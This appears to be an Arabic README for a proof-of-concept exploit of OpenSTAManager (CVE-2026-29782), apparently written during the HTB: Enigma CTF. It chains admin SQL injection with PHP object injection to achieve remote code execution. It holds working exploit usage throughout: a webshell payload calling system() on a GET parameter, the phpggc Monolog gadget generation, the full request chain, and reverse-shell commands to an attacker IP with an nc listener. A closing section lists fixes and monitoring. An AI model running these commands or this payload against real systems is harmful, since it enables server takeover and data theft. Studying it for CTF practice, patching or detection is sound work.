
إثبات مفهوم لاستغلال CVE-2026-29782، يجمع بين حقن SQL وحقن كائنات PHP لتحقيق تنفيذ التعليمات البرمجية عن بُعد في OpenSTAManager. يتضمن خيارات نشر قشرة الويب وقشرة عكسية.
إثبات مفهوم (PoC) لـ تنفيذ الأوامر عن بُعد في OpenSTAManager ≤ 2.10.1.
يبحث oauth2.php عن صف zz_oauth2 عبر معامل state الذي يتحكم فيه المهاجم، ثم يستدعي unserialize() على عمود access_token بدون قيد allowed_classes (Models\OAuth2::checkTokens() / getAccessToken()). هذا هو موضع حقن كائن PHP.
بمفرده لا يمكن استغلاله — لا يمكنك وضع الكائن. لكن عند ربطه بميزة SQL التعسفي غير المقيّد في وحدة Aggiornamenti (، بدون قائمة سماح للاستعلامات في سلسلة 2.9.x — )، يمكن لمسؤول مُصادَق أن يُدخل (INSERT) أداة POP مُسلسَلة في ثم يطلب لتفجيرها.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98zz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← SQL تعسفي
└─ INSERT blob الأداة في zz_oauth2.access_token (مُربوطة بـ `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ أداة POP __destruct() → كتابة ملف
└─ GET /<webshell>.php?c=<cmd> ← تنفيذ أوامر كمستخدم الويب
⚠️ للاستخدام المصرّح به فقط. نُشر لأغراض تعليمية، ولعب CTF (كُتب ضد HTB: Enigma)، والبحث الدفاعي. تشغيله ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. لا يوجد أي ضمان. انظر LICENSE.
| المنتج | OpenSTAManager (devcode-it/openstamanager) |
| موضع حقن الكائن | ≤ 2.10.1 — تم إصلاحه في 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| سلسلة SQL التعسفي | سلسلة 2.9.x (حصل risolvi-conflitti-database على قائمة سماح لاحقًا في 2.10.x) |
| تم التحقق ضده | 2.9.8، PHP 8.3، MySQL 8.0 |
شجرة 2.9.x تتضمن monolog/monolog ^3.0، لذا يستخدم هذا الـ PoC أداة كتابة ملفات Monolog 3.x (phpggc Monolog/FW1) لإسقاط الـ webshell. هذا يتجنب عمدًا الاعتماد على تفعيل system()/exec() أو على مكونات Laravel الموجودة.
requests — pip install -r requirements.txtphpggc + واجهة php في PATH
(تُستخدم فقط لبناء الأداة؛ أو قدّم --payload-file مع blob مُجهّز مسبقًا)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [action]
الإجراءات:
--cmd 'id' تشغيل أمر واحد وطباعة الناتج
--shell موجه تفاعلي بسيط
--lhost 10.10.14.5 --lport 4444 قشرة عكسية bash
--drop-only فقط إسقاط الـ webshell وطباعة رابطها
خيارات مفيدة:
--module-id 6 معرف وحدة Aggiornamenti (الافتراضي 6)
--phpggc ./phpggc/phpggc مسار phpggc
--payload-file blob.bin تخطي phpggc واستخدام blob Monolog/FW1 مُولّد مسبقًا
--webshell-name name.php اسم الملف المُسقَط في جذر الويب
--proxy http://127.0.0.1:8080
--keep إبقاء صف zz_oauth2 المُحقَن في مكانه
# إثبات RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# تفاعلي
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# قشرة عكسية (شغّل `nc -lvnp 4444` أولاً)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
توليد الأداة يدويًا مسبقًا (مكافئ لما يفعله السكربت):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ترميز سلسلة S: آمن لـ ASCII (ينجو من عمود TEXT حرفًا بحرف)؛
-f = تدمير سريع (يشتعل الكائن فورًا بعد unserialize()، قبل أن يستدعي OpenSTAManager ->hasExpired() عليه ويرمي استثناءً).
POST /index.php op=login&username=&password= (النجاح = إعادة توجيه 302 بعيدًا عن index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>. كل عنصر يُمرَّر إلى $dbo->query()؛ فرع 2.9.x لا يطبق أي قائمة سماح. يضيف الـ PoC زوج CREATE TABLE … / DROP TABLE … لفرض COMMIT ضمني (وإلا تترك نقطة النهاية عمليات الكتابة في معاملة غير ملتزمة). كما يعيد المعالج صدى نص خطأ MySQL، مما يعطي قارئًا عبر extractvalue() (OSM.sql_extract() في الكود).INSERT في zz_oauth2 لصف يحتوي state معروف و access_token = 0x<hex(gadget)>؛ يتم تعيين class إلى المزوّد الحقيقي Modules\Emails\OAuth2\Google.GET /oauth2.php?state=<state>&code=x. يستدعي configure() الدالة needsConfiguration() ← getAccessToken() ← checkTokens() ← unserialize($this->access_token) بدون allowed_classes. يكتب __destruct لأداة Monolog الـ webshell. الاستجابة هي HTTP 500 — متوقعة.GET /<webshell>?c=<cmd> ← system().unserialize($v, ['allowed_classes' => [AccessToken::class]]) ويتم وضع قائمة سماح لمشغّل SQL في Aggiornamenti.modules/aggiornamenti/ على المسؤولين الموثوقين؛ مراقبة عمليات الكتابة في zz_oauth2 والطلبات إلى oauth2.php.بحث و PoC أثناء اختراق HTB: Enigma.